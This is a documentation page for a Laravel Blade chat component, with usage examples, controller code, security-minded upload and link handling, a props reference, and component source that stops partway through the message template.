Skip to content
Bladewell

<x-widget.chat>

Chat Blade component for Laravel and Livewire

A conversation: an AI assistant whose replies run the full width, or people messaging in bubbles, with names, avatars, times in the app's locale, sent and read states, day dividers and a typing indicator. Opens at the newest message with no flash, keeps the reader's place when one arrives while they're scrolled up, and loads older messages from your endpoint as they scroll to the top. The composer grows with its text, sends on Enter, attaches files as chips (picking more adds to them; images show a preview), and takes suggested prompts. Files show as images or download cards. Screen readers hear new messages as they come. compact sizes it for a narrow column, at a sidebar's 14px. Works inside Livewire components, wire:stream included.

php artisan bladewell:add chat
Also adds
Icon

Usage

Sending

async on the composer: the message shows at once as Sending, posted from the page. Your route answers with the message as saved, as HTML: a chat holding it (and anything else to add, such as a reply), which takes its place. A plain form post, without the script, still gets the redirect. A failed validation comes back as 422 on its own: the message goes back into the box, with why.

PHP
Route::post('/conversations/{conversation}/messages', StoreMessageController::class)
    ->middleware(['auth', 'throttle:30,1'])
    ->name('conversations.messages.store');

final class StoreMessageController
{
    public function __invoke(StoreMessageRequest $request, Conversation $conversation): View|RedirectResponse
    {
        Gate::authorize('reply', $conversation);

        $message = $conversation->messages()->create([
            'user_id' => $request->user()->id,
            'body' => $request->validated('message'),
        ]);

        if ($request->ajax()) {
            // resources/views/conversations/sent.blade.php, in the same variant (and compact) as the page's chat:
            // <x-widget.chat variant="messages">
            //     <x-widget.chat.message mine status="sent" :time="$message->created_at">{{ $message->body }}</x-widget.chat.message>
            // </x-widget.chat>
            // The request says which, if one route serves more than one: X-Chat-Variant, and X-Chat-Compact when compact.
            return view('conversations.sent', ['message' => $message]);
        }

        return back();
    }
}

History endpoint

history-url: a route on your own site that answers with the messages before the ones showing, as HTML: a chat holding them, and its own history-url for the page before those. Leave history-url off on the last page.

PHP
Route::get('/conversations/{conversation}/messages', ConversationMessagesController::class)
    ->middleware('auth')
    ->name('conversations.messages.index');

final class ConversationMessagesController
{
    public function __invoke(Conversation $conversation, Request $request): View
    {
        Gate::authorize('view', $conversation);

        $page = $conversation->messages()->latest()->simplePaginate(20);

        // resources/views/conversations/history.blade.php:
        // <x-widget.chat :history-url="$page->nextPageUrl()">
        //     @foreach ($page->reverse() as $message)
        //         <x-widget.chat.message :mine="$message->user_id === auth()->id()" :name="$message->user->name" :time="$message->created_at">{{ $message->body }}</x-widget.chat.message>
        //     @endforeach
        // </x-widget.chat>
        return view('conversations.history', ['page' => $page]);
    }
}

// On the page itself, start with the newest 20 and point history-url at page 2:
// <x-widget.chat :history-url="route('conversations.messages.index', [$conversation, 'page' => 2])">

Uploads

The files a message brings are only as safe as how you check, keep and serve them. The paperclip's accept only steers the picker: anyone can post any file to your route, so check it here, and authorize the conversation as for a message.

PHP
public function rules(): array
{
    return [
        'message' => ['required_without:attachments', 'nullable', 'string', 'max:2000'],
        'attachments' => ['array', 'max:4'],
        // No SVG or HTML: opened from your own site (an image opens full size), either could run script as your site.
        'attachments.*' => ['file', 'mimes:png,jpg,jpeg,webp,gif,pdf,csv', 'max:5120'],
    ];
}

// A form with the paperclip sends an empty file when none was picked (the composer leaves it out when it sends from the
// page, a plain form can't): drop it before validating, in your Form Request's prepareForValidation():
// $files = array_values(array_filter((array) $this->file('attachments', [])));
// $files === [] ? $this->files->remove('attachments') : $this->files->set('attachments', $files);

// Keep them under a name of your own, never the one they came with, on a disk the public can't browse.
foreach ($request->file('attachments', []) as $file) {
    $message->attachments()->create([
        'path' => $file->store("conversations/{$conversation->id}", 'local'),
        'name' => $file->getClientOriginalName(),
        'size' => $file->getSize(),
    ]);
}

// Send them back through a route that checks who's asking, as a download, so the browser never runs one as a page.
Route::get('/attachments/{attachment}', function (Attachment $attachment) {
    Gate::authorize('view', $attachment->message->conversation);

    return Storage::disk('local')->download($attachment->path, $attachment->name, ['X-Content-Type-Options' => 'nosniff']);
})->middleware('auth')->name('attachments.show');

Livewire

Inside a Livewire component, wire:submit sends and wire:model on the composer binds its text; a render that adds a message keeps the reader's place, and the empty slot hides by itself. For an AI reply, stream into a message marked streaming. Livewire streams only into an element already on the page, so send() adds the person's message and that streaming reply, then calls $this->js('$wire.respond()'), and respond() streams. Livewire puts streamed text in as HTML, so escape each piece: $this->stream(to: 'answer', content: e($chunk)). Once the reply is whole, give it to markdown, which formats it safely. Older messages: a wire:click button of your own at the top works as well as history-url, and the list doesn't jump as they go in. The paperclip sends files with a plain form; with Livewire, put a file input with wire:model in the composer's actions slot and take the files with WithFileUploads.

Blade
<x-widget.chat label="Chat with Acme Assistant" class="h-[36rem]">
    @foreach ($messages as $message)
        <x-widget.chat.message wire:key="message-{{ $message->id }}" :mine="$message->mine" :name="$message->mine ? null : 'Acme Assistant'" :initials="$message->mine ? null : 'AI'" :markdown="$message->body" />
    @endforeach

    @if ($answering)
        <x-widget.chat.message name="Acme Assistant" initials="AI" streaming>
            <span wire:stream="answer">{{ $answer }}</span>
        </x-widget.chat.message>
    @endif

    <x-slot:composer>
        <x-widget.chat.composer wire:submit="send" wire:model="prompt" placeholder="Ask anything…" maxlength="2000" />
    </x-slot:composer>
</x-widget.chat>

{{-- In the component:
public function send(): void
{
    $this->validate(['prompt' => ['required', 'string', 'max:2000']]);
    $this->messages[] = $this->conversation->messages()->create(['mine' => true, 'body' => $this->prompt]);
    $this->reset('prompt');
    $this->answering = true;
    $this->js('$wire.respond()');
}

public function respond(): void
{
    $answer = '';
    foreach ($this->model->stream($this->messages) as $chunk) {
        $answer .= $chunk;
        $this->stream(to: 'answer', content: e($chunk));
    }
    $this->messages[] = $this->conversation->messages()->create(['mine' => false, 'body' => $answer]);
    $this->answering = false;
}
--}}

Examples

Assistant

An AI assistant: your prompts in bubbles, its replies the full width of the conversation. markdown formats a reply with code in blocks, and treats it as untrusted, as what a model writes can be steered by what it reads: HTML in it is dropped, images stay as their description (a loaded image could carry the conversation away) and only safe links are links. A reply still being written shows a caret, and screen readers wait for it to finish. The paperclip attaches files, shown as chips before sending and as cards after. Enter sends; Shift+Enter starts a new line.

Pass $messages from your controller.

You:

Acme Assistant:

You:

Acme Assistant:
    Show code
    Blade
    <x-widget.chat label="Chat with Acme Assistant" class="border-line h-[40rem] overflow-hidden rounded-2xl border">
        @foreach ($messages as $message)
            <x-widget.chat.message :mine="$message->mine" :name="$message->mine ? null : 'Acme Assistant'" :initials="$message->mine ? null : 'AI'" :time="$message->sentAt" :streaming="$message->streaming" :markdown="$message->body">
                @if ($message->files !== [])
                    <x-slot:attachments>
                        @foreach ($message->files as $file)
                            <x-widget.chat.attachment :href="$file['url']" :name="$file['name']" :size="$file['size']" />
                        @endforeach
                    </x-slot:attachments>
                @endif
            </x-widget.chat.message>
        @endforeach
    
        <x-slot:composer>
            <x-widget.chat.composer async :action="route('chat.store')" placeholder="Ask anything…" maxlength="2000" attachments="attachments" accept="image/png,image/jpeg,image/webp,image/gif,.pdf,.csv" />
        </x-slot:composer>
    </x-widget.chat>
    

    New chat

    Before the first message: the empty slot, here a greeting and suggested prompts. A button with data-chat-prompt puts its text in the box, ready to send or change. The empty slot hides itself as soon as there's a message.

    How can I help today?

    Ask about your orders, customers or reports.

    Show code
    Blade
    <x-widget.chat label="Chat with Acme Assistant" class="border-line h-[34rem] overflow-hidden rounded-2xl border">
        <x-slot:empty>
            <div class="flex flex-col items-center text-center">
                <span aria-hidden="true" class="bg-primary-fill text-on-primary grid size-12 place-items-center rounded-2xl text-sm font-bold">AI</span>
                <h2 class="mt-5 text-2xl font-semibold tracking-tight">How can I help today?</h2>
                <p class="text-foreground/70 mt-2 text-sm">Ask about your orders, customers or reports.</p>
                <div class="mt-8 grid w-full gap-2 sm:grid-cols-2">
                    @foreach (['Summarise this week\'s sales', 'Which customers haven\'t ordered in 90 days?', 'Draft a reply to a late-delivery complaint', 'Explain this month\'s refund rate'] as $prompt)
                        <button type="button" data-chat-prompt class="border-line hover:bg-field focus-visible:ring-primary rounded-xl border px-4 py-3 text-start text-sm outline-none transition-colors focus-visible:ring-2 motion-reduce:transition-none">{{ $prompt }}</button>
                    @endforeach
                </div>
            </div>
        </x-slot:empty>
    
        <x-slot:composer>
            <x-widget.chat.composer async :action="route('chat.store')" placeholder="Ask anything…" maxlength="2000" />
        </x-slot:composer>
    </x-widget.chat>
    

    Messages

    variant="messages": people talking, in bubbles on both sides, with names, avatars, and whether your messages were read. Older messages load from history-url as you scroll up, and a divider marks each day. Scrolled up when a message arrives, you stay where you are, with a button down to it.

    Pass $messages from your controller.

    Today
    You:

    Read

    Sam from Support

    Sam from Support:

    You:

    Read

    Sam from Support

    Sam from Support:

    You:

    Sent

    Sam is typing
      Show code
      Blade
      <x-widget.chat
          variant="messages"
          label="Conversation with Acme Support"
          :history-url="route('conversations.messages.index', ['conversation' => 1, 'page' => 1])"
          class="border-line h-[40rem] overflow-hidden rounded-2xl border"
      >
          <x-widget.chat.divider>Today</x-widget.chat.divider>
      
          @foreach ($messages as $message)
              <x-widget.chat.message :mine="$message->mine" :name="$message->name" :time="$message->sentAt" :status="$message->status">
                  {{ $message->body }}
      
                  @if ($message->files !== [])
                      <x-slot:attachments>
                          @foreach ($message->files as $file)
                              <x-widget.chat.attachment :href="$file['url']" :name="$file['name']" :size="$file['size']" :preview="$file['preview'] ?? null" />
                          @endforeach
                      </x-slot:attachments>
                  @endif
              </x-widget.chat.message>
          @endforeach
      
          <x-widget.chat.typing name="Sam" />
      
          <x-slot:composer>
              <x-widget.chat.composer async :action="route('conversations.messages.store', 1)" maxlength="2000" attachments="attachments" accept="image/png,image/jpeg,image/webp,image/gif,.pdf" />
          </x-slot:composer>
      </x-widget.chat>
      

      Compact

      compact: the chat at a sidebar's size, 14px text with smaller avatars and tighter bubbles, for a narrow column such as sidebar-layout's panel or a help widget. Every part follows it: messages, files, the typing indicator and the composer, whose box stays 16px on phones so iOS doesn't zoom in.

      Today

      Sam from Support

      Sam from Support:

      You:

      Read

      Sam from Support

      Sam from Support:

      Sam is typing
        Show code
        Blade
        <x-widget.chat variant="messages" label="Chat with Acme Support" compact class="border-line mx-auto h-[32rem] max-w-xs overflow-hidden rounded-2xl border">
            <x-widget.chat.divider>Today</x-widget.chat.divider>
            <x-widget.chat.message name="Sam from Support" :time="today()->setTime(9, 12)">Hi! Anything I can help you with today?</x-widget.chat.message>
            <x-widget.chat.message mine :time="today()->setTime(9, 14)" status="read">Where do I change our billing email?</x-widget.chat.message>
            <x-widget.chat.message name="Sam from Support" :time="today()->setTime(9, 15)">
                Under Settings, then Billing. Here's a short guide:
                <x-slot:attachments>
                    <x-widget.chat.attachment href="#billing-guide" name="billing-settings.pdf" :size="84_000" />
                </x-slot:attachments>
            </x-widget.chat.message>
            <x-widget.chat.typing name="Sam" />
        
            <x-slot:composer>
                <x-widget.chat.composer async :action="route('conversations.messages.store', 1)" maxlength="2000" attachments="attachments" accept="image/png,image/jpeg,image/webp,image/gif,.pdf" />
            </x-slot:composer>
        </x-widget.chat>
        

        Props

        Other attributes, such as autocomplete or data-*, are passed through to the element. class styles the component's outer wrapper.

        <x-widget.chat>

        Prop Default Description
        variant 'assistant' assistant: replies run the full width, for an AI assistant; messages: bubbles on both sides, for people talking.
        label 'Conversation' Names the conversation for screen readers ("Chat with Acme Assistant").
        history-url null Where the messages before these come from, as HTML: a chat holding them, and its own history-url for the ones before those (none when there are no more). Fetched as the top of the list scrolls into view. On this site only.
        compact false Smaller text and spacing, the size of a sidebar's, for a chat in a narrow column (sidebar-layout's panel, say).

        <x-widget.chat.attachment>

        Prop Default Description
        href Required Where the file is: opened in a new tab (an image) or downloaded. A web address or one on this site; anything else (javascript:, data:…) is shown without a link.
        name Required The file's name, shown on the card.
        size null Its size in bytes, shown in the app's locale ("2.4 MB").
        preview null A picture of it to show instead of the card, by URL: the image itself, or a thumbnail of it.
        alt null What the picture shows, for screen readers. Defaults to the file's name.

        <x-widget.chat.composer>

        Prop Default Description
        action null Where the message is sent. Leave it off with wire:submit.
        method 'POST' How it's sent: POST, or PUT, PATCH… (spoofed with _method, as Laravel does).
        name 'message' What the text submits as. With wire:model on the composer, that names it instead.
        label 'Message' The text box's name for screen readers.
        placeholder 'Write a message…' Shown in the box while it's empty.
        value null Text to start with. Old input wins after a failed submit.
        maxlength null The most characters it takes. The browser stops typing there; your Form Request must still check it (max:).
        attachments null Turns on the paperclip: files submit under this name as a list ("attachments" sends attachments[]).
        accept null The file types the paperclip offers, as for the accept attribute ("image/*,.pdf").
        async false Send without leaving the page: the message shows at once as Sending, then as the server sent it back (see the sending note). Without the script it's a plain form; with wire:submit, Livewire sends instead.
        send-label 'Send' The send button's name for screen readers.
        id null The text box's id. Defaults to one made for it.

        <x-widget.chat.message>

        Prop Default Description
        mine false Sent by the person reading: on the end side, in a bubble.
        name null Who sent it ("Sam from Support"). Shown above their messages in the messages look, and read out before each one.
        avatar null A picture of them, by URL. Without one, their initials (from name) or initials.
        initials null Up to two letters to show for them when there's no picture ("AI").
        time null When it was sent: a date, shown as the time in the app's locale (and, once the page is up, in the reader's own timezone, not the server's), or text of your own ("Yesterday").
        status null Your own message's state, in the messages look: sending, sent, read or failed.
        streaming false Still being written, as an AI reply streams in: a caret after the text, and screen readers wait for the end.
        markdown null The text as Markdown, from someone you can't fully trust (a model, a user): shown formatted, with any HTML in it dropped, images left as their description and unsafe links unlinked (Bladewell\Support\ChatMarkdown). Instead of the slot.

        <x-widget.chat.typing>

        Prop Default Description
        name null Who's typing, read out by screen readers ("Sam is typing").

        Accessibility

        All 4 examples above are checked with axe-core against the WCAG 2.2 A and AA rules, in the light theme and the dark one, both as the page draws and with each popover, dialog, toast and tooltip opened, on every change. A change that fails can't be merged. Where axe can't decide, such as contrast on SVG text, the test measures the colours itself instead of letting it pass.

        Automated checks can't judge everything: how it sounds in a screen reader, and how it feels to use from the keyboard, still need a person. Check those on your own pages too.

        Source

        What bladewell:add chat writes to your app with the default namespaces. Prefer to copy by hand? Take these files, plus the ones from the components it also adds , and the theme and base CSS.

        resources/views/components/widget/chat/attachment.blade.php Show
        attachment.blade.php
        @aware([
            'compact' => false,
        ])
        
        @props([
            // Where the file is: opened in a new tab (an image) or downloaded. A web address or one on this site; anything else
            // (javascript:, data:…) is shown without a link.
            'href',
            // The file's name, shown on the card.
            'name',
            // Its size in bytes, shown in the app's locale ("2.4 MB").
            'size' => null,
            // A picture of it to show instead of the card, by URL: the image itself, or a thumbnail of it.
            'preview' => null,
            // What the picture shows, for screen readers. Defaults to the file's name.
            'alt' => null,
        ])
        
        @php
            // Only a link a person can safely follow: http(s), or a path on this site. A javascript: or data: URL from data a
            // user supplied would run in the page when clicked. Checked as the browser reads it, without the control
            // characters and spaces it ignores ("java\tscript:" is javascript:).
            $address = preg_replace('/[\x00-\x20\x7F]+/', '', (string) $href);
            // An address PHP can't read at all isn't trusted either.
            $parts = parse_url($address);
            $linked = $address !== '' && $parts !== false && (! isset($parts['scheme']) || in_array(strtolower($parts['scheme']), ['http', 'https'], true));
            if (! $linked) {
                \Illuminate\Support\Facades\Log::warning('Bladewell chat.attachment: href must be a web address or a path on this site; shown without a link.', ['href' => $href]);
            }
            // Direction controls can make a name read as something else ("invoice‮fdp.exe" shows as "invoiceexe.pdf"): they go,
            // and the name sits in <bdi>, so it can't reorder what's around it either.
            $name = preg_replace('/[\x{200E}\x{200F}\x{202A}-\x{202E}\x{2066}-\x{2069}]/u', '', (string) $name);
        
            $readable = null;
            if (is_numeric($size)) {
                $units = ['B', 'KB', 'MB', 'GB', 'TB'];
                $power = $size > 0 ? min((int) floor(log((float) $size, 1024)), count($units) - 1) : 0;
                $amount = $size / 1024 ** $power;
                $decimals = $power === 0 || $amount >= 10 ? 0 : 1;
                // In the app's locale where intl is there ("2,4 MB" in German); plain digits where it isn't.
                $readable = (class_exists(\NumberFormatter::class)
                    ? (function () use ($amount, $decimals): string {
                        $formatter = new \NumberFormatter(str_replace('-', '_', app()->getLocale()), \NumberFormatter::DECIMAL);
                        $formatter->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, $decimals);
        
                        return (string) $formatter->format($amount);
                    })()
                    : number_format($amount, $decimals)).' '.$units[$power];
            }
            $ring = 'focus-visible:ring-primary outline-none focus-visible:ring-2';
        @endphp
        
        @if ($preview)
            @if ($linked)
                <a
                    href="{{ $href }}"
                    target="_blank"
                    rel="noopener"
                    {{ $attributes->class(['border-line block overflow-hidden rounded-xl border focus-visible:ring-offset-2 focus-visible:ring-offset-surface', $ring]) }}
                ><img src="{{ $preview }}" alt="{{ $alt ?? $name }}" class="max-h-56 w-auto max-w-full object-cover"><span class="sr-only"> (opens in a new tab)</span></a>
            @else
                <span {{ $attributes->class(['border-line block overflow-hidden rounded-xl border']) }}><img src="{{ $preview }}" alt="{{ $alt ?? $name }}" class="max-h-56 w-auto max-w-full object-cover"></span>
            @endif
        @else
            <{{ $linked ? 'a' : 'div' }}
                @if ($linked) href="{{ $href }}" download @endif
                {{ $attributes->class([
                    'border-line bg-surface text-foreground flex min-w-0 max-w-full items-center rounded-xl border text-start sm:max-w-72',
                    'gap-3 p-2 pe-3' => ! $compact,
                    'gap-2.5 p-1.5 pe-2.5' => $compact,
                    'hover:bg-field transition-colors motion-reduce:transition-none '.$ring => $linked,
                ]) }}
            >
                <span aria-hidden="true" @class(['bg-field text-foreground/70 grid shrink-0 place-items-center rounded-lg', $compact ? 'size-8' : 'size-9'])>
                    <x-widget.icon name="file-text" :class="$compact ? 'size-4' : 'size-4.5'" />
                </span>
                <span class="min-w-0 flex-1 text-sm leading-tight">
                    <bdi class="block truncate font-medium">{{ $name }}</bdi>
                    @if ($readable)
                        <span class="text-foreground/70 block text-xs">{{ $readable }}</span>
                    @endif
                </span>
                @if ($linked)
                    <x-widget.icon name="download" class="text-foreground/70 size-4 shrink-0" />
                @endif
            </{{ $linked ? 'a' : 'div' }}>
        @endif
        
        resources/views/components/widget/chat/composer.blade.php Show
        composer.blade.php
        @aware([
            'compact' => false,
        ])
        
        @props([
            // Where the message is sent. Leave it off with wire:submit.
            'action' => null,
            // How it's sent: POST, or PUT, PATCH… (spoofed with _method, as Laravel does).
            'method' => 'POST',
            // What the text submits as. With wire:model on the composer, that names it instead.
            'name' => 'message',
            // The text box's name for screen readers.
            'label' => 'Message',
            // Shown in the box while it's empty.
            'placeholder' => 'Write a message…',
            // Text to start with. Old input wins after a failed submit.
            'value' => null,
            // The most characters it takes. The browser stops typing there; your Form Request must still check it (max:).
            'maxlength' => null,
            // Turns on the paperclip: files submit under this name as a list ("attachments" sends attachments[]).
            'attachments' => null,
            // The file types the paperclip offers, as for the accept attribute ("image/*,.pdf").
            'accept' => null,
            // Send without leaving the page: the message shows at once as Sending, then as the server sent it back (see the
            // sending note). Without the script it's a plain form; with wire:submit, Livewire sends instead.
            'async' => false,
            // The send button's name for screen readers.
            'sendLabel' => 'Send',
            // The text box's id. Defaults to one made for it.
            'id' => null,
        ])
        
        @php
            $id = app(\App\View\Widget\ElementIds::class)->claim($id ?? 'chat-message', explicit: $id !== null);
            $method = strtoupper($method);
            // wire:model binds the text box; everything else (wire:submit, class, data-*) goes on the form.
            $model = $attributes->whereStartsWith('wire:model');
            $files = $attachments ? preg_replace('/\[\]$/', '', $attachments) : null;
            // A failed send: the text's error, or else the files', read from the session as other fields do.
            $bag = $errors ?? null;
            $error = $bag instanceof \Illuminate\Support\ViewErrorBag
                ? ($bag->first($name) ?: ($files ? ($bag->first($files) ?: $bag->first($files.'.*')) : ''))
                : '';
            $round = 'focus-visible:ring-primary grid '.($compact ? 'size-8' : 'size-9').' shrink-0 place-items-center rounded-xl outline-none transition-colors focus-visible:ring-2 motion-reduce:transition-none';
        @endphp
        
        {{--
            A box that grows with what's typed, up to 12rem, then scrolls. Enter sends and Shift+Enter starts a new line (on a
            touch screen Enter is a new line, and the button sends, so the keyboard's Enter key keeps its usual name: no
            enterkeyhint="send"). Empty, with no files, it doesn't send, nor while a message is on its way (the button fades).
        
            With attachments, the paperclip picks files, each pick adding to the ones before, listed above the text as chips
            that can be taken off again, an image with a preview of it (a blob: URL, so a Content Security Policy's img-src must
            allow blob:). Files can also be pasted into the box or dropped on it, held to the same accept.
        --}}
        <form
            data-chat-composer
            @if ($async) data-chat-async @endif
            @if ($action) action="{{ $action }}" @endif
            method="{{ $method === 'GET' ? 'GET' : 'POST' }}"
            @if ($attachments) enctype="multipart/form-data" @endif
            {{ $attributes->whereDoesntStartWith('wire:model')->class(['group/composer border-line bg-surface shrink-0 border-t', $compact ? 'p-2.5' : 'p-3 sm:p-4']) }}
        >
            @if ($action && $method !== 'GET')
                @csrf
                @if ($method !== 'POST')
                    @method($method)
                @endif
            @endif
        
            {{-- Like the fields' frames: the border turns primary under the pointer and while anything in it has focus, no glow;
                 and while a file is dragged over it, to show it can be dropped there. --}}
            <div class="border-line bg-surface hover:border-primary focus-within:border-primary group-data-dragging/composer:border-primary group-data-dragging/composer:bg-field mx-auto max-w-3xl rounded-2xl border shadow-sm transition-colors motion-reduce:transition-none">
                {{-- The chosen files, as chips the script draws. wire:ignore: a Livewire render would wipe them. --}}
                @if ($attachments)
                    <ul data-chat-chips wire:ignore aria-label="Files to send" @class(['flex flex-wrap gap-2 empty:hidden', $compact ? 'px-2.5 pt-2.5' : 'px-3 pt-3'])></ul>
                @endif
        
                <label for="{{ $id }}" class="sr-only">{{ $label }}</label>
                {{-- field-sizing: content grows the box with its text where browsers have it; the script does it elsewhere. 16px
                     (text-base) on phones too, though messages are smaller there: iOS zooms the page into a box with smaller text. Compact,
                     14px from sm up, where that zoom doesn't happen. --}}
                <textarea
                    id="{{ $id }}"
                    data-chat-input
                    @if ($model->isEmpty()) name="{{ $name }}" @endif
                    {{ $model }}
                    rows="1"
                    placeholder="{{ $placeholder }}"
                    @if ($maxlength) maxlength="{{ (int) $maxlength }}" @endif
                    @if ($error) aria-invalid="true" aria-describedby="{{ $id }}-error" @endif
                    class="placeholder:text-muted block max-h-48 w-full resize-none bg-transparent pb-1 text-base leading-6 outline-none [field-sizing:content] {{ $compact ? 'min-h-10 px-3 pt-2.5 sm:text-sm' : 'min-h-12 px-4 pt-3.5' }}"
                >{{ $model->isEmpty() ? old($name, $value) : $value }}</textarea>
        
                <div class="flex items-center gap-1 px-2 pb-2">
                    @if ($attachments)
                        {{-- The file input is the label's own, made invisible: a click on the paperclip opens the picker, and
                             Tab still reaches it, its focus ring drawn on the paperclip. --}}
                        <label class="{{ $round }} text-foreground/70 hover:bg-field hover:text-foreground has-focus-visible:ring-primary relative cursor-pointer has-focus-visible:ring-2">
                            <x-widget.icon name="paperclip" class="size-5" />
                            <span class="sr-only">Attach files</span>
                            <input type="file" data-chat-files name="{{ $files }}[]" multiple @if ($accept) accept="{{ $accept }}" @endif class="sr-only">
                        </label>
                    @endif
        
                    {{ $actions ?? '' }}
        
                    <button type="submit" class="{{ $round }} bg-primary-fill text-on-primary hover:bg-primary-hover group-data-chat-sending/composer:cursor-progress group-data-chat-sending/composer:opacity-60 focus-visible:ring-offset-surface ms-auto focus-visible:ring-offset-2">
                        <x-widget.icon name="arrow-up" class="size-5" />
                        <span class="sr-only">{{ $sendLabel }}</span>
                    </button>
                </div>
            </div>
            @if ($error)
                <p id="{{ $id }}-error" class="text-error mx-auto mt-2 max-w-3xl px-1 text-sm">{{ $error }}</p>
            @endif
        </form>
        
        resources/views/components/widget/chat/divider.blade.php Show
        divider.blade.php
        {{-- A line between days, or before what's unread: the slot is what it says ("Today", "New"). --}}
        <div {{ $attributes->class(['text-foreground/70 flex items-center gap-3 text-xs font-medium']) }}>
            <span aria-hidden="true" class="bg-line h-px flex-1"></span>
            <span>{{ $slot }}</span>
            <span aria-hidden="true" class="bg-line h-px flex-1"></span>
        </div>
        
        resources/views/components/widget/chat/index.blade.php Show
        index.blade.php
        @props([
            // assistant: replies run the full width, for an AI assistant; messages: bubbles on both sides, for people talking.
            'variant' => 'assistant',
            // Names the conversation for screen readers ("Chat with Acme Assistant").
            'label' => 'Conversation',
            // Where the messages before these come from, as HTML: a chat holding them, and its own history-url for the ones
            // before those (none when there are no more). Fetched as the top of the list scrolls into view. On this site only.
            'historyUrl' => null,
            // Smaller text and spacing, the size of a sidebar's, for a chat in a narrow column (sidebar-layout's panel, say).
            'compact' => false,
        ])
        
        @php
            // A typo fails loudly, naming the values that work, instead of quietly rendering something else.
            if (! in_array($variant, ['assistant', 'messages'], true)) {
                throw new \InvalidArgumentException("Unknown variant [{$variant}] for <x-widget.chat>. Use one of: assistant, messages.");
            }
        @endphp
        
        {{--
            A conversation: messages (chat.message, with chat.divider and chat.typing between them), an optional empty slot for
            before the first one (suggested prompts, a greeting), and a composer slot for chat.composer. Give it a height, e.g.
            class="h-[36rem]" or one that fills the page.
        
            The list scrolls in a reversed column, so it paints at the newest message with no script, and messages added at the
            top (older ones) don't move what's being read. overflow-anchor: none, so the browser doesn't move it as well as the script. resources/js/widget/chat keeps the reader's place when one arrives at
            the bottom while they're scrolled up, and offers a button down to it instead. role="log": screen readers read out new
            messages as they arrive, without moving focus.
        --}}
        {{-- wire:ignore.self on the parts the script changes: where it's loading from, and the button down. Messages still
             update in a Livewire render. --}}
        <section
            data-chat
            data-variant="{{ $variant }}"
            @if ($compact) data-chat-compact @endif
            wire:ignore.self
            @if ($historyUrl) data-chat-history="{{ $historyUrl }}" @endif
            {{ $attributes->class(['group/chat text-foreground bg-surface relative flex min-h-0 flex-col']) }}
        >
            <div class="relative flex min-h-0 flex-1 flex-col">
                <div data-chat-scroll class="flex min-h-0 flex-1 flex-col-reverse overflow-y-auto overscroll-contain [overflow-anchor:none] [scrollbar-width:thin]">
                    {{-- With no messages yet, what's here sits in the middle; with some, at the bottom, where chats start. --}}
                    <div @class([
                        'my-auto w-full group-has-[[data-chat-message]]/chat:my-0',
                        'mx-auto max-w-3xl px-4 py-6 sm:px-6' => $variant === 'assistant' && ! $compact,
                        'px-4 py-5 sm:px-5' => $variant === 'messages' && ! $compact,
                        'px-3 py-4' => $compact,
                    ])>
                        @if ($historyUrl)
                            <div class="flex justify-center pb-5">
                                {{-- While it loads (data-busy, set by the script), a spinner turns beside the words, which say so too. --}}
                                <button type="button" data-chat-older wire:ignore class="group/older focus-visible:ring-primary text-foreground/70 hover:bg-field hover:text-foreground flex items-center gap-2 rounded-full px-3 py-1.5 text-xs font-medium outline-none focus-visible:ring-2 data-busy:cursor-progress"><span aria-hidden="true" class="hidden size-3.5 animate-spin rounded-full border-2 border-current border-e-transparent group-data-busy/older:inline-block motion-reduce:animate-[spin_1.5s_linear_infinite]"></span><span data-chat-older-label>Load older messages</span></button>
                            </div>
                        @endif
                        <div data-chat-log role="log" aria-label="{{ $label }}" @class(['flex flex-col', 'gap-8' => $variant === 'assistant' && ! $compact, 'gap-4' => $variant === 'messages' && ! $compact, 'gap-3' => $compact])>
                            {{ $slot }}
                        </div>
                        @isset($empty)
                            <div data-chat-empty class="group-has-[[data-chat-message]]/chat:hidden">{{ $empty }}</div>
                        @endisset
                    </div>
                </div>
        
                {{-- Shown by the script when a message arrives below while the reader is scrolled up. --}}
                <button
                    type="button"
                    data-chat-latest
                    hidden
                    wire:ignore.self
                    class="bg-foreground text-surface focus-visible:ring-primary absolute bottom-3 left-1/2 flex -translate-x-1/2 items-center gap-1.5 rounded-full py-1.5 ps-3 pe-2.5 text-xs font-medium shadow-lg outline-none transition-[opacity,translate] duration-200 focus-visible:ring-2 focus-visible:ring-offset-2 starting:translate-y-2 starting:opacity-0 motion-reduce:transition-none"
                >New messages <x-widget.icon name="arrow-down" class="size-3.5" /></button>
            </div>
        
            {{ $composer ?? '' }}
        
            @isset($composer)
                {{-- For a composer that sends without leaving the page (async): what the script copies to show a message the
                     moment it's sent, drawn by the same components as the rest, so it looks the same in every variant and size.
                     The server's own copy replaces it once it's in. --}}
                <template data-chat-outgoing>
                    <x-widget.chat.message mine status="sending"><span data-chat-outgoing-text class="whitespace-pre-line"></span></x-widget.chat.message>
                </template>
                <template data-chat-outgoing-file>
                    <x-widget.chat.attachment href="#" name="file" :size="1" />
                </template>
                <template data-chat-outgoing-image>
                    <x-widget.chat.attachment href="#" name="image" preview="#" />
                </template>
                {{-- What a message that couldn't be sent says instead of Sending, with a way to try again. --}}
                <template data-chat-failed>
                    <x-widget.icon name="circle-alert" class="size-3.5" /><span>Not sent</span>
                    <button type="button" data-chat-retry class="focus-visible:ring-primary ms-1 rounded font-medium underline underline-offset-2 outline-none hover:no-underline focus-visible:ring-2">Retry</button>
                </template>
                <template data-chat-delivered>
                    <x-widget.icon name="check" class="size-3.5" /><span>Sent</span>
                </template>
            @endisset
        </section>
        
        resources/views/components/widget/chat/message.blade.php Show
        message.blade.php
        @aware([
            'variant' => 'assistant',
            'compact' => false,
        ])
        
        @props([
            // Sent by the person reading: on the end side, in a bubble.
            'mine' => false,
            // Who sent it ("Sam from Support"). Shown above their messages in the messages look, and read out before each one.
            'name' => null,
            // A picture of them, by URL. Without one, their initials (from name) or initials.
            'avatar' => null,
            // Up to two letters to show for them when there's no picture ("AI").
            'initials' => null,
            // When it was sent: a date, shown as the time in the app's locale (and, once the page is up, in the reader's own
            // timezone, not the server's), or text of your own ("Yesterday").
            'time' => null,
            // Your own message's state, in the messages look: sending, sent, read or failed.
            'status' => null,
            // Still being written, as an AI reply streams in: a caret after the text, and screen readers wait for the end.
            'streaming' => false,
            // The text as Markdown, from someone you can't fully trust (a model, a user): shown formatted, with any HTML in it
            // dropped, images left as their description and unsafe links unlinked (App\View\Widget\ChatMarkdown). Instead of
            // the slot.
            'markdown' => null,
        ])
        
        @php
            // A typo fails loudly, naming the values that work, instead of quietly rendering something else.
            $statuses = ['sending' => 'Sending', 'sent' => 'Sent', 'read' => 'Read', 'failed' => 'Not sent'];
            if ($status !== null && ! array_key_exists($status, $statuses)) {
